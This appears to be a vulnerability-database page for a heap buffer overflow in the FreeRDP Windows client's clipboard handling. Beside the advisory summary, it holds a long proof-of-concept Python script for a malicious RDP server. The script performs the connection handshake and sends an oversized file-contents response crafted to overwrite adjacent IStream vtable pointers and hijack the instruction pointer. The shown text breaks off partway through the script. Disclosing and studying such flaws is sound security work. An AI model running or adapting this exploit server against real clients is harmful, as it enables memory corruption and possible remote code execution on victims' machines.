Read the docs

Heap buffer overflow in FreeRDP Windows client clipboard handling

Priority MEDIUM 56CWE-122Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Passive
Attack complexity
Low
Attack requirements
None
Impact type
Code execution
Confidentiality · integrity · availability
High · High · High
Fix status
Fixed

Attack profile from CVSS 4.0 · GHSA-cj9v-h4hq-29jr. Fix status from GitHub. Impact type from CWE-122 and the CVSS impact.

Summary

FreeRDP up to and including 3.28.0 has a heap buffer overflow in its Windows client (wfreerdp) clipboard channel. The client copies server-sized file content into a buffer without checking the size (CWE-122). A malicious RDP server can send an oversized file contents response, and a victim who connects and pastes in Windows Explorer can have heap memory corrupted, potentially enabling control flow hijacking.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Important notice `wfreerdp` is unmaintained and should not be used. * for years now it presented a message of this status * the build emits warnings for a very long time now * we've now also removed it from nightly builds ### Summary A heap buffer overflow vulnerability exists in the FreeRDP Windows client (`wfreerdp`) when processing `CLIPRDR_FILE_CONTENTS_RESPONSE` PDUs on the clipboard static virtual channel. A malicious RDP server can respond to a client's file content request with a data payload significantly larger than what was originally requested. The server-controlled size value (`cbRequested`) is used directly as the length parameter for `CopyMemory()` without any bounds checking against the destination buffer size, resulting in an arbitrary heap buffer overflow. **Impact:** - A malicious RDP server can achieve **arbitrary heap memory corruption** in the FreeRDP client process - Overwrites heap metadata and adjacent heap objects, enabling potential **control flow hijacking** - Under favorable heap layout conditions, this can lead to **Remote Code Execution (RCE)** - The attack requires only that the victim connects to the malicious RDP server (with clipboard redirection enabled by default) and performs a paste operation (Ctrl+V) in Windows Explorer ### Affected Product and Version | Field | Value | |-------|-------| | **Product** | FreeRDP | | **Component** | Windows Client (wfreerdp) — `client/Windows/wf_cliprdr.c` | | **Commit** | master branch | | **Build Configuration** | CMake Debug build (MinGW64, MSYS2 environment) | | **Affected Functions** | `CliprdrStream_Read()` (wf_cliprdr.c:249), `wf_cliprdr_server_file_contents_response()` (wf_cliprdr.c:2449), `cliprdr_read_file_contents_response()` (cliprdr_common.c:384) | | **Prerequisites** | Clipboard redirection enabled (`/clipboard` — enabled by default) | ### Details #### Detailed Description The vulnerability exists because the server fully controls `clipboard->req_fsize`, and this value is used directly as the copy length for `CopyMemory()` without any validation against the destination buffer size `cb`. The data flow is: 1. The client calls `CliprdrStream_Read()` requesting `cb` bytes of file content 2. The request is sent to the server via `cliprdr_send_request_filecontents()` 3. **The malicious server responds with far more than `cb` bytes of data** 4. The protocol parser `cliprdr_read_file_contents_response()` computes `cbRequested = dataLen - 4` with no upper bound validation 5. The callback `wf_cliprdr_server_file_contents_response()` directly assigns the server-provided `cbRequested` to `clipboard->req_fsize` 6. `CliprdrStream_Read()` is woken up and executes `CopyMemory(pv, req_fdata, req_fsize)` where `pv` is only `cb` bytes, but `req_fsize` can be up to 65536+ #### Code Flow from Input to Vulnerable Condition ``` [Malicious RDP Server] │ ▼ Sends CLIPRDR_FILE_CONTENTS_RESPONSE (dataLen = 65540) │ channels/cliprdr/cliprdr_common.c:384 ▼ cliprdr_read_file_contents_response() │ response->cbRequested = response->common.dataLen - 4 → cbRequested = 65536 │ // ❌ No validation: cbRequested not checked against requested cb │ client/Windows/wf_cliprdr.c:2449 ▼ wf_cliprdr_server_file_contents_response() │ clipboard->req_fsize = fileContentsResponse->cbRequested → req_fsize = 65536 │ // ❌ Directly accepts server value without comparing to original cb │ SetEvent(clipboard->req_fevent) → Wakes waiting thread │ client/Windows/wf_cliprdr.c:249 ▼ CliprdrStream_Read() │ CopyMemory(pv, clipboard->req_fdata, clipboard->req_fsize) │ // 💥 pv size = cb = 16384, req_fsize = 65536 │ // 💥 49152 bytes out-of-bounds heap write! ▼ [Heap Memory Corruption → SIGSEGV / Process Crash] ``` ### PoC #### Compile FreeRDP (if not already built)** In an MSYS2 MinGW64 terminal: ```bash export MSYSTEM=MINGW64 export PATH=/c/msys64/mingw64/bin:/c/msys64/usr/bin:$PATH cd /c/Users/admin/Downloads/FreeRDP mkdir -p build_debug && cd build_debug cmake .. -G Ninja -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_FLAGS="-g3 -O0" \ -DWITH_CLIENT_COMMON=ON -DWITH_CHANNELS=ON \ -DWITH_CLIENT=ON -DWITH_WINPR=ON \ -DBUILD_TESTING=OFF -DWITH_SERVER=OFF \ -DCHANNEL_CLIPRDR=ON -DCLIENT_WINDOWS=ON ninja wfreerdp ``` #### Start the malicious RDP server The malicious RDP server script evil_rdp_server.py is as follows: ```python #!/usr/bin/env python3 """ VULN-001 PoC: Heap Buffer Overflow in FreeRDP wf_cliprdr.c Evil RDP server that triggers CVE via oversized CLIPRDR_FILE_CONTENTS_RESPONSE. Vulnerability path: Client FILECONTENTS_RANGE request (cb=N) → Server responds with dataLen = OVERFLOW_SIZE+4 (much larger than N) → cliprdr_read_file_contents_response: cbRequested = OVERFLOW_SIZE → wf_cliprdr_server_file_contents_response: clipboard->req_fsize = OVERFLOW_SIZE → CliprdrStream_Read: CopyMemory(pv[N], req_fdata, OVERFLOW_SIZE) ← OVERFLOW Usage: python evil_rdp_server.py [--port 3389] [--overflow-size 65536] NOTE: Run as administrator for port 3389, or use --port 13389 for unprivileged. """ import socket import struct import threading import argparse import sys import time import hashlib import os import logging logging.basicConfig( level=logging.DEBUG, format='[%(asctime)s] %(levelname)s %(message)s' ) log = logging.getLogger('evil_rdp') # ── RDP / TPKT / X.224 / MCS Constants ─────────────────────────────────────── # TPKT TPKT_VERSION = 3 # X.224 Connection Request/Response X224_TPDU_CR = 0xE0 X224_TPDU_CC = 0xD0 X224_TPDU_DT = 0xF0 # MCS MCS_CONNECT_RESPONSE = 0x3C # BER tag MCS_ATTACH_USER_REQ = 0x28 MCS_ATTACH_USER_CONF = 0x2C MCS_CHANNEL_JOIN_REQ = 0x38 MCS_CHANNEL_JOIN_CONF = 0x3C # reused, context-based MCS_SEND_DATA_INDICATION = 0x1A # 0x68 in raw MCS_SEND_DATA_REQUEST = 0x64 # RDP Security SEC_EXCHANGE_PKT = 0x0001 SEC_ENCRYPT = 0x0008 SEC_LICENSE_PKT = 0x0080 SEC_LICENSE_ENCRYPT_CS = 0x0200 # PDU types (shareDataHeader) PDUTYPE_DEMANDACTIVEPDU = 0x0011 PDUTYPE_CONFIRMACTIVEPDU = 0x0013 PDUTYPE_DATAPDU = 0x0007 PDUTYPE2_SYNCHRONIZE = 0x1F PDUTYPE2_CONTROL = 0x14 PDUTYPE2_FONTLIST = 0x27 PDUTYPE2_FONTMAP = 0x28 PDUTYPE2_SET_ERROR_INFO_PDU = 0x2F # Virtual Channel CHANNEL_FLAG_FIRST = 0x01 CHANNEL_FLAG_LAST = 0x02 # Clipboard PDU types (MS-RDPECLIP) CB_MONITOR_READY = 0x0001 CB_FORMAT_LIST = 0x0002 CB_FORMAT_LIST_RESPONSE = 0x0003 CB_FORMAT_DATA_REQUEST = 0x0004 CB_FORMAT_DATA_RESPONSE = 0x0005 CB_FILECONTENTS_REQUEST = 0x0008 CB_FILECONTENTS_RESPONSE = 0x0009 CB_RESPONSE_OK = 0x0001 CB_RESPONSE_FAIL = 0x0002 FILECONTENTS_SIZE = 0x00000001 FILECONTENTS_RANGE = 0x00000002 # Standard clipboard format CF_HDROP = 0x000F # 15 # ── Utility Functions ──────────────────────────────────────────────────────── def tpkt(payload: bytes) -> bytes: """Wrap in TPKT packet""" length = 4 + len(payload) return struct.pack('>BBH', TPKT_VERSION, 0, length) + payload def x224_dt(payload: bytes) -> bytes: """Wrap in X.224 Data Transfer PDU""" return tpkt(struct.pack('BBB', 2, X224_TPDU_DT, 0x80) + payload) def mcs_sdi(channel_id: int, payload: bytes) -> bytes: """MCS SendDataIndication""" # simplified: 0x68 initiator=1003, channel_id, priority=0x70, segmentation=0xC0 initiator = 1001 hdr = struct.pack('>BHHBB', 0x68, initiator, channel_id, 0x70, # priority | segmentation (last+first) len(payload) >> 8 | 0x80 ) + struct.pack('B', len(payload) & 0xFF) return x224_dt(hdr + payload) def rdp_security_header(flags: int) -> bytes: return struct.pack('<HH', flags, 0) def share_control_header(pdu_type: int, pdu_source: int, length: int) -> bytes: return struct.pack('<HHH', length, pdu_type | 0x10, pdu_source) def share_data_header(share_id: int, pdu_type2: int, length: int) -> bytes: """ shareDataHeader (MS-RDPBCGR 2.2.8.1.1.1.2) shareId(4) + pad1Octet(1) + streamId(1) + uncompressedLength(2) + pduType2(1) + compressedType(1) + compressedLength(2) = 12 bytes """ return struct.pack('<IBBHBBH', share_id, # shareId (4) 0, # pad1Octet (1) 1, # streamId = STREAM_LOW (1) length, # uncompressedLength (2) pdu_type2, # pduType2 (1) 0, # compressedType (1) 0, # compressedLength (2) ) # ── RDP Handshake Helper Functions ──────────────────────────────────────────── def build_x224_cc() -> bytes: """X.224 Connection Confirm — no TLS negotiation (raw RDP)""" # LI + type + dst_ref + src_ref + class payload = struct.pack('BBHHB', 6, X224_TPDU_CC, 0, 0x1234, 0) return tpkt(payload) def build_mcs_connect_response() -> bytes: """ MCS Connect-Response (BER encoded, minimal). Carries GCC Conference Create Response with SC_SECURITY (no encryption) + SC_CORE. """ # GCC Conference Create Response: hard-coded minimal BER blob # result=success(0), calledConnectId=0, domainParameters, serverData # serverData = SC_CORE + SC_SECURITY(ENCRYPTION_LEVEL_NONE) sc_core = struct.pack('<HHII', 0x0C01, # type SC_CORE 0x000C, # length 0x00080004, # clientRequestedProtocols = 0 (standard RDP) 0x00000000 ) sc_security = struct.pack('<HHHH', 0x0C02, # type SC_SECURITY 0x0008, # length 0x0000, # encryptionMethod = NONE 0x0000 # encryptionLevel = NONE ) server_data = sc_core + sc_security # H.221 non-standard key "McDn" h221_key = b'McDn' gcc_user_data = ( b'\x00\x05' # number of sets = 1 (non-standard) + struct.pack('>H', len(h221_key) + len(server_data) + 4) + h221_key + server_data ) # GCC CreateConference response BER (simplified T.124) # We use a pre-built minimal blob from known-good FreeRDP test captures t124_resp = ( b'\x0a\x01\x00' # ENUMERATED result = success b'\x02\x01\x00' # INTEGER calledConnectId = 0 b'\x30\x1a' # domainParameters SEQUENCE b'\x02\x01\x01' # maxChannelIds = 1 b'\x02\x01\x01' # maxUserIds = 1 b'\x02\x01\x01' # maxTokenIds b'\x02\x01\x01' # numPriorities b'\x02\x01\x00' # minThroughput b'\x02\x01\x01' # maxHeight b'\x02\x02\x04\x00' # maxMCSPDUsize = 1024 b'\x02\x01\x02' # protocolVersion b'\x04' + bytes([len(gcc_user_data)]) + gcc_user_data ) # Wrap in T.124 Connect-GCC (object ID for T.124 GCC) t124_oid = b'\x00\x05\x00\x14\x7c\x00\x01' # OID + version t124_pkt = t124_oid + struct.pack('>H', len(t124_resp) | 0x8000) + t124_resp # BER-encode MCS Connect-Response # CHOICE [102] (application) SEQUENCE domain_params = ( b'\x02\x01\x22' # maxChannelIds b'\x02\x01\x02' # maxUserIds b'\x02\x01\x00' # maxTokenIds b'\x02\x01\x01' # numPriorities b'\x02\x01\x00' # minThroughput b'\x02\x01\x01' # maxHeight b'\x02\x02\xf0\xff' # maxMCSPDUsize b'\x02\x01\x02' # protocolVersion ) def ber_len(n: int) -> bytes: if n < 0x80: return bytes([n]) if n < 0x100: return bytes([0x81, n]) return bytes([0x82, n >> 8, n & 0xFF]) mcs_resp = ( b'\x7f\x66' # MCS ConnectResponse tag + ber_len( 2 + 2 + # result + calledConnectId 2 + len(domain_params) + 2 + len(t124_pkt) ) + b'\x0a\x01\x00' # result = rt-successful(0) + b'\x02\x01\x00' # calledConnectId = 0 + b'\x30' + ber_len(len(domain_params)) + domain_params + b'\x04' + ber_len(len(t124_pkt)) + t124_pkt ) return x224_dt(mcs_resp) # ── RDP Channel Related ──────────────────────────────────────────────────────── MCS_GLOBAL_CHANNEL = 1003 MCS_USER_CHANNEL = 1007 CLIPRDR_CHANNEL_ID = 1009 def send_raw(sock, data: bytes): try: sock.sendall(data) except Exception as e: log.error(f'send error: {e}') def recv_tpkt(sock) -> bytes: """ Read a complete TPKT packet, auto-skip RDP Fast-Path PDUs. Fast-Path indicator: low 2 bits of first byte != 0x03 (i.e. != TPKT_VERSION=3) Fast-Path length encoding: 1 or 2 bytes (bit 7 of second byte indicates 2-byte length) """ while True: # Read first byte first = b'' while len(first) < 1: chunk = sock.recv(1) if not chunk: return b'' first += chunk if first[0] == TPKT_VERSION: # 0x03 = standard TPKT # Read remaining 3 bytes of TPKT header rest = b'' while len(rest) < 3: chunk = sock.recv(3 - len(rest)) if not chunk: return b'' rest += chunk hdr = first + rest total = struct.unpack('>H', hdr[2:4])[0] data = hdr while len(data) < total: chunk = sock.recv(total - len(data)) if not chunk: break data += chunk return data else: # RDP Fast-Path PDU: skip it # Length encoding: next byte, if bit 7 set → 2-byte length (big-endian, clear bit 7) len_byte = b'' while len(len_byte) < 1: chunk = sock.recv(1) if not chunk: return b'' len_byte += chunk if len_byte[0] & 0x80: len_byte2 = b'' while len(len_byte2) < 1: chunk = sock.recv(1) if not chunk: return b'' len_byte2 += chunk fp_total = ((len_byte[0] & 0x7F) << 8) | len_byte2[0] already_read = 3 # first + len_byte + len_byte2 else: fp_total = len_byte[0] already_read = 2 # first + len_byte # Read and discard remaining fast-path payload remaining = fp_total - already_read if remaining > 0: buf = b'' while len(buf) < remaining: chunk = sock.recv(remaining - len(buf)) if not chunk: return b'' buf += chunk # Continue loop to read next packet # ── Clipboard Channel PDU Construction ───────────────────────────────────────── def cliprdr_header(msg_type: int, msg_flags: int, data: bytes) -> bytes: """CLIPRDR_HEADER + data""" return struct.pack('<HHI', msg_type, msg_flags, len(data)) + data def build_monitor_ready() -> bytes: return cliprdr_header(CB_MONITOR_READY, 0x0000, b'') def build_format_list_response(flags: int = CB_RESPONSE_OK) -> bytes: return cliprdr_header(CB_FORMAT_LIST_RESPONSE, flags, b'') def build_format_data_response_hdrop(filenames: list) -> bytes: """ CF_HDROP format data: DROPFILES + double-NULL-terminated filename list (UTF-16LE) """ DROPFILES_SIZE = 20 names_utf16 = b'' for fn in filenames: names_utf16 += fn.encode('utf-16-le') + b'\x00\x00' names_utf16 += b'\x00\x00' # Double NULL terminator drop_files = struct.pack('<IIIII', DROPFILES_SIZE, # pFiles offset 0, 0, # pt.x, pt.y 0, # fNC 1 # fWide = True (Unicode) ) + names_utf16 return cliprdr_header(CB_FORMAT_DATA_RESPONSE, CB_RESPONSE_OK, drop_files) def build_file_contents_response_size(stream_id: int, file_size: int) -> bytes: """FILECONTENTS_SIZE response: streamId(4) + fileSize(8) = 12 bytes""" data = struct.pack('<I', stream_id) + struct.pack('<Q', file_size) return cliprdr_header(CB_FILECONTENTS_RESPONSE, CB_RESPONSE_OK, data) def build_file_contents_response_overflow(stream_id: int, overflow_size: int) -> bytes: """ ★ Heap Feng Shui PoC ★ Construct precise payload to overwrite IStreamVtbl function pointers on adjacent heap objects. Payload layout: [0..cb-1]: Legal file data (fills pv buffer itself) [cb..cb+15]: Heap block header (16 bytes _HEAP_ENTRY, keep legal values to avoid heap check) [cb+16..end]: Fake IStreamVtbl — all function pointers set to 0xdeadbeefcafe0001 When OLE performs virtual calls (e.g. Release/Stat/Read) on adjacent IStream object: call [lpVtbl + offset] → jump to 0xdeadbeefcafe0001 → RIP = 0xdeadbeefcafe0001 (full control) IStreamVtbl layout (14 function pointers, 112 bytes): +0x00: QueryInterface +0x08: AddRef +0x10: Release ← OLE always calls (release IStream) +0x18: Read ← OLE calls when reading file content +0x20: Write +0x28: Seek +0x30: SetSize +0x38: CopyTo +0x40: Commit +0x48: Revert +0x50: LockRegion +0x58: UnlockRegion +0x60: Stat ← OLE calls when getting stream status +0x68: Clone """ # Attacker-controlled target address RIP_TARGET = struct.pack('<Q', 0xdeadbeefcafe0001) # Entire payload filled with RIP_TARGET # So regardless of whether OLE uses cb=1024 or 16384, # anything beyond cb overwrites adjacent heap objects # When any overwritten pointer is dereferenced as vtable/function pointer → RIP hijacked payload = RIP_TARGET * (overflow_size // 8) payload += b'\x00' * (overflow_size - len(payload)) assert len(payload) == overflow_size data = struct.pack('<I', stream_id) + payload return cliprdr_header(CB_FILECONTENTS_RESPONSE, CB_RESPONSE_OK, data) def wrap_cliprdr_in_rdp(cliprdr_data: bytes, channel_id: int = CLIPRDR_CHANNEL_ID) -> bytes: """ Wrap cliprdr PDU into RDP Virtual Channel PDU CHANNEL_PDU_HEADER + cliprdr data → MCS SendDataIndication """ # CHANNEL_PDU_HEADER chan_hdr = struct.pack('<IH', len(cliprdr_data), CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST ) payload = chan_hdr + cliprdr_data # ShareControlHeader (PDUTYPE_DATAPDU) SHARE_ID = 0x10034 src_id = MCS_USER_CHANNEL # Send virtual channel data over global channel # Actual RDP: security header(optional) + ShareControlHeader + data # No-encryption mode here sc_len = 6 + 18 + len(payload) sc_hdr = share_control_header(PDUTYPE_DATAPDU, src_id, sc_len) sd_hdr = share_data_header(SHARE_ID, 0x10, 18 + len(payload)) # Virtual channel data bypasses shareDataHeader, goes directly through CHANNEL_PDU return mcs_sdi_raw(channel_id, payload) def mcs_sdi_raw(channel_id: int, payload: bytes, user_id: int = 1004) -> bytes: """ MCS SendDataIndication (server→client, PER aligned, no encryption) DomainMCSPDU_SendDataIndication = 26, options=0 → choice = (26<<2)|0 = 0x68 Header format (from rdp_write_header in rdp.c): choice(1) + per_integer16(userId, 1001)(2) + per_integer16(channelId, 0)(2) + dataPriority_segmentation(1) + per_length(payload)(2) """ MCS_BASE_CH = 1001 # per_write_integer16(userId, MCS_BASE_CHANNEL_ID) → wire = userId - 1001 user_id_wire = user_id - MCS_BASE_CH # per_write_integer16(channelId, 0) → wire = channelId channel_id_wire = channel_id length = len(payload) # PER length encoding for MCS SendDataIndication: # If length <= 0x7F: 1 byte # If length <= 0x3FFF: 2 bytes with high bit set (0x8000 | length) # For lengths > 0x3FFF (16383): we must keep chunks small via _wrap_cliprdr if length <= 0x7F: len_enc = bytes([length]) elif length <= 0x3FFF: len_enc = struct.pack('>H', length | 0x8000) else: # This should not happen if chunking is working correctly # Fallback: use 2-byte encoding with clamped value len_enc = struct.pack('>H', length | 0x8000) hdr = ( bytes([0x68]) # choice tag + struct.pack('>H', user_id_wire) # initiator (per_integer16 with base 1001) + struct.pack('>H', channel_id_wire) # channelId (per_integer16 with base 0) + bytes([0x70]) # dataPriority=0x7 | segmentation=0x0 + len_enc # length (2 bytes, 0x8000 flag set) ) return x224_dt(hdr + payload) # ── Complete Evil Server State Machine ────────────────────────────────────────── class EvilRDPServer: def __init__(self, host: str, port: int, overflow_size: int): self.host = host self.port = port self.overflow_size = overflow_size self.server_sock = None def start(self): self.server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_sock.bind((self.host, self.port)) self.server_sock.listen(5) log.info(f'Evil RDP server listening on {self.host}:{self.port}') log.info(f'Overflow size: {self.overflow_size} bytes') log.info('Waiting for FreeRDP client to connect...') try: while True: conn, addr = self.server_sock.accept() log.info(f'Client connected: {addr}') t = threading.Thread( target=self._handle_client, args=(conn, addr), daemon=True ) t.start() except KeyboardInterrupt: log.info('Server stopped.') finally: self.server_sock.close() def _handle_client(self, conn: socket.socket, addr): try: self._rdp_handshake(conn) except Exception as e: log.error(f'Client {addr} error: {e}', exc_info=True) finally: conn.close() log.info(f'Client {addr} disconnected') # ─── RDP Handshake State Machine ─────────────────────────────────────────── def _rdp_handshake(self, conn: socket.socket): """ Simplified RDP handshake: 1. X.224 CR → X.224 CC 2. MCS Connect-Initial → MCS Connect-Response 3. MCS Attach-User-Request → Attach-User-Confirm 4. Channel Join (for each channel) 5. Security Exchange (skip / no-enc) 6. Client Info → License (no-enc) 7. Demand Active → Confirm Active 8. Server Ready / Sync / Control / Font 9. Activate cliprdr virtual channel 10. Send CB_MONITOR_READY + format list 11. Wait for client clipboard operations → trigger overflow """ log.info('[Phase 1] X.224 Negotiation') self._phase_x224(conn) log.info('[Phase 2] MCS Connect') self._phase_mcs_connect(conn) log.info('[Phase 3] MCS Channel Setup') self._phase_mcs_channels(conn) log.info('[Phase 4] RDP Security + License') self._phase_security_license(conn) log.info('[Phase 5] Capability Exchange') self._phase_capability(conn) log.info('[Phase 6] RDP Connection + Virtual Channels') self._phase_rdp_ready(conn) log.info('[Phase 7] Clipboard channel — trigger overflow') self._phase_clipboard_overflow(conn) def _recv_pkt(self, conn) -> bytes: pkt = recv_tpkt(conn) if pkt: log.debug(f' RECV ({len(pkt)} bytes): {pkt[:32].hex()}...') return pkt def _send_pkt(self, conn, data: bytes, label=''): log.debug(f' SEND {label} ({len(data)} bytes): {data[:32].hex()}...') send_raw(conn, data) # Phase 1: X.224 def _phase_x224(self, conn): pkt = self._recv_pkt(conn) # Should be X.224 Connection Request if len(pkt) < 5 or pkt[5] != X224_TPDU_CR: # May include RDP Negotiation Request (0x01) log.debug('Received X.224 CR (possibly with NegotiationRequest)') # Reply with X.224 Connection Confirm, reject TLS, choose Standard Security # X224 CC: no RDP_NEG_RSP or select PROTOCOL_RDP(0) x224_cc = tpkt( struct.pack('BBHHB', 6, # LI (header length - 1) X224_TPDU_CC, # type 0x0000, # dst-ref 0x0000, # src-ref 0x00 # class options ) ) self._send_pkt(conn, x224_cc, 'X224-CC') # Phase 2: MCS Connect def _phase_mcs_connect(self, conn): pkt = self._recv_pkt(conn) # Send MCS Connect-Response (with GCC CreateConference + SC_SECURITY=NONE) resp = self._build_mcs_connect_response_simple() self._send_pkt(conn, resp, 'MCS-ConnectResponse') def _build_mcs_connect_response_simple(self) -> bytes: """ Build precise MCS Connect-Response (BER outer + PER GCC inner). Based on FreeRDP libfreerdp/core/gcc.c gcc_write_conference_create_response() and libfreerdp/crypto/per.c exact implementation. SC_SECURITY: encryptionMethod=NONE, encryptionLevel=NONE """ # ── PER helper functions ────────────────────────────────────────────── def per_length(n: int) -> bytes: if n > 0x7F: return struct.pack('>H', n | 0x8000) return bytes([n]) def per_integer(n: int) -> bytes: if n <= 0xFF: return per_length(1) + bytes([n]) return per_length(2) + struct.pack('>H', n) def per_integer16(val: int, min_val: int) -> bytes: return struct.pack('>H', val - min_val) def per_octet_string(data: bytes, min_len: int) -> bytes: ml = len(data) - min_len if len(data) >= min_len else min_len return per_length(ml) + data # ── Server data blocks (SC_CORE + SC_SECURITY + SC_NET) ────────────── # SC_CORE (type=0x0C01, length=12) sc_core = struct.pack('<HHII', 0x0C01, 0x000C, 0x00080004, # clientRequestedProtocols (ignored by server) 0x00000000 ) # SC_SECURITY (type=0x0C02) # gcc_read_server_security_data reads 8 bytes: EncMethod(4) + EncLevel(4) # length = header(4) + data(8) = 12 = 0x000C sc_security = struct.pack('<HH', 0x0C02, 0x000C, # type, length=12 ) + struct.pack('<II', 0x00000000, # EncryptionMethod = NONE 0x00000000 # EncryptionLevel = NONE ) # SC_NET: client default requests 4 channels: rdpdr, rdpsnd, cliprdr, drdynvc # channelCount=4 (even, no padding needed) # payloadLen = 4(MCSChannelId+channelCount) + 4*2(channelIds) = 12 # total block length = header(4) + 12 = 16 = 0x0010 # channelId allocation: after baseChannelId (1004): 1005,1006,1007,1008 # cliprdr is the 3rd = 1007 CLIPRDR_CHANNEL_ID = 1007 # update global reference sc_net = struct.pack('<HHHH', 0x0C03, 0x0010, # type SC_NET, length=16 1003, # MCSChannelID (global I/O channel) 4, # channelCount = 4 ) + struct.pack('<HHHH', 1005, # rdpdr 1006, # rdpsnd 1007, # cliprdr ← VULN-001 target channel 1008, # drdynvc ) self._cliprdr_channel_id = 1007 server_data = sc_core + sc_security + sc_net # ── GCC ConferenceCreateResponse (PER encoded) ──────────────────────── # gcc_write_conference_create_response() in gcc.c: # per_write_choice(0) = 0x00 # per_write_object_identifier(t124_oid) = 05 00 14 7c 00 01 # per_write_length(0x2A) = 0x2A (ignored by client) # per_write_choice(0x14) = 0x14 (ConferenceCreateResponse) # per_write_integer16(0x79F3, 1001) = BE(0x79F3-1001) = 76 0a # per_write_integer(1) = 01 01 # per_write_enumerated(0) = 0x00 # per_write_number_of_sets(1) = 0x01 # per_write_choice(0xC0) = 0xC0 # per_write_octet_string("McDn", 4, 4) = 00 + 4d636d 4e (mlength=0) # per_write_octet_string(server_data, n, 0)= per_length(n) + data # t124_02_98_oid = {0, 0, 20, 124, 0, 1} t12 = 0 * 40 + 0 # = 0 oid_bytes = bytes([t12, 20, 124, 0, 1]) # 5 bytes gcc_inner = ( b'\x00' # per_write_choice(0) - ConnectData choice + bytes([5]) + oid_bytes # per_write_object_identifier: length=5 + 5 bytes + b'\x2a' # per_write_length(0x2A) - ignored + b'\x14' # per_write_choice(0x14) - ConferenceCreateResponse + per_integer16(0x79F3, 1001) # nodeID + per_integer(1) # tag = 1 + b'\x00' # per_write_enumerated(0) - result = success + b'\x01' # per_write_number_of_sets(1) + b'\xc0' # per_write_choice(0xC0) - h221NonStandard + per_octet_string(b'McDn', 4) # h221 key (min=4 → mlength=0) + per_octet_string(server_data, 0) # server data blocks (min=0) ) # ── BER MCS Connect-Response outer wrapper ──────────────────────────── # Per T.125: MCSConnect-Response is BER tag 0x7f 0x66 def ber_len(n: int) -> bytes: if n < 0x80: return bytes([n]) if n < 0x100: return bytes([0x81, n]) return bytes([0x82, (n >> 8) & 0xFF, n & 0xFF]) # domain parameters (BER SEQUENCE) domain_params = ( b'\x02\x01\x22' # maxChannelIds = 34 b'\x02\x01\x03' # maxUserIds = 3 b'\x02\x01\x00' # maxTokenIds b'\x02\x01\x01' # numPriorities b'\x02\x01\x00' # minThroughput b'\x02\x01\x01' # maxHeight b'\x02\x02\xff\xff' # maxMCSPDUsize b'\x02\x01\x02' # protocolVersion ) inner = ( b'\x0a\x01\x00' # ENUMERATED result = rt-successful(0) b'\x02\x01\x00' # INTEGER calledConnectId = 0 + b'\x30' + ber_len(len(domain_params)) + domain_params + b'\x04' + ber_len(len(gcc_inner)) + gcc_inner ) mcs_cr = b'\x7f\x66' + ber_len(len(inner)) + inner return x224_dt(mcs_cr) # Phase 3: MCS Channels def _phase_mcs_channels(self, conn): # Read all initial MCS packets until AttachUserRequest (tag 0x28) # Client send order: ErectDomainRequest(0x04) → AttachUserRequest(0x28) for _ in range(3): pkt = self._recv_pkt(conn) if not pkt: break mcs = pkt[7:] if len(pkt) > 7 else b'' tag = mcs[0] if mcs else 0 log.debug(f' Pre-AUC pkt tag=0x{tag:02x} ({len(pkt)} bytes): {pkt[:12].hex()}') if tag == 0x28: # AttachUserRequest break # ErectDomainRequest (0x04) or other — ignore, continue reading next packet # Attach-User-Confirm (PER aligned) # DomainMCSPDU_AttachUserConfirm = 11, options = 2 # choice byte = (11 << 2) | 2 = 0x2E # result = per_write_enumerated(0) = 0x00 # userId = baseChannelId++ = 1004 (MCS_GLOBAL_CHANNEL_ID+1 = 1003+1) # per_write_integer16(1004, MCS_BASE_CHANNEL_ID=1001) -> wire = 1004-1001 = 3 -> 0x0003 MCS_BASE_CH = 1001 MCS_GLOBAL = 1003 self._base_channel_id = MCS_GLOBAL + 1 # 1004 self._user_id = self._base_channel_id self._base_channel_id += 1 # now 1005 user_id_wire = self._user_id - MCS_BASE_CH # 3 auc = x224_dt(bytes([0x2E, 0x00]) + struct.pack('>H', user_id_wire)) self._send_pkt(conn, auc, f'MCS-AUC userId={self._user_id}') # Expect Channel-Join-Request for each channel (multiple retries) joined = set() for attempt in range(20): # generous retry count pkt = self._recv_pkt(conn) if not pkt or len(pkt) < 10: break mcs = pkt[7:] if not mcs: continue tag = mcs[0] log.debug(f' MCS tag=0x{tag:02x} payload={mcs[:8].hex()}') if tag == 0x38: # ChannelJoinRequest (14<<2)|0 = 0x38 # PER: choice(1) initiator_wire(2) channelId_wire(2) # initiator_wire = initiator - MCS_BASE_CHANNEL_ID(1001) # channelId_wire = channelId (base=0) try: MCS_BASE_CH = 1001 initiator_wire = struct.unpack('>H', mcs[1:3])[0] channel_id_wire = struct.unpack('>H', mcs[3:5])[0] real_init = initiator_wire + MCS_BASE_CH real_channel = channel_id_wire # base=0, so wire == channelId log.info(f' CJR initiator={real_init} channel={real_channel}') joined.add(real_channel) # ChannelJoinConfirm (15<<2)|2 = 0x3E # result=0x00 # initiator = per_write_integer16(userId, MCS_BASE_CH) -> userId_wire # requested = per_write_integer16(channelId, 0) -> channelId_wire # channelId = per_write_integer16(channelId, 0) -> channelId_wire user_id_wire = self._user_id - MCS_BASE_CH cjc = x224_dt(bytes([0x3E, 0x00]) + struct.pack('>H', user_id_wire) + struct.pack('>H', channel_id_wire) + struct.pack('>H', channel_id_wire)) self._send_pkt(conn, cjc, f'MCS-CJC ch={real_channel}') except Exception as e: log.warning(f' CJR parse error: {e}') elif tag == 0x64: # SendDataRequest — client sent data early, ignore log.debug(f' Got SendDataRequest in CJR loop, ignoring') else: log.debug(f' Unknown MCS tag 0x{tag:02x}, skipping') # Exit early when all declared channels have joined # We declared channelCount=4 (1005,1006,1007,1008) + global(1003) + user(1004) = 6 if len(joined) >= 6: log.debug('All channels joined, exiting CJR loop early') break log.info(f'Joined channels: {joined}') # Phase 4: Security + License def _phase_security_license(self, conn): # Under ENCRYPTION_NONE: # Client sends ClientInfo PDU first (SendDataRequest on global channel) # Server then sends: License Error PDU (STATUS_VALID_CLIENT) # # First read and discard ClientInfo PDU for attempt in range(3): pkt = self._recv_pkt(conn) if not pkt: break mcs = pkt[7:] if len(pkt) > 7 else b'' tag = mcs[0] if mcs else 0 log.debug(f' License-phase RECV tag=0x{tag:02x} ({len(pkt)} bytes)') if tag == 0x64: # SendDataRequest = ClientInfo PDU log.info(' → Got ClientInfo PDU, proceeding to send License') break # Send License Error PDU 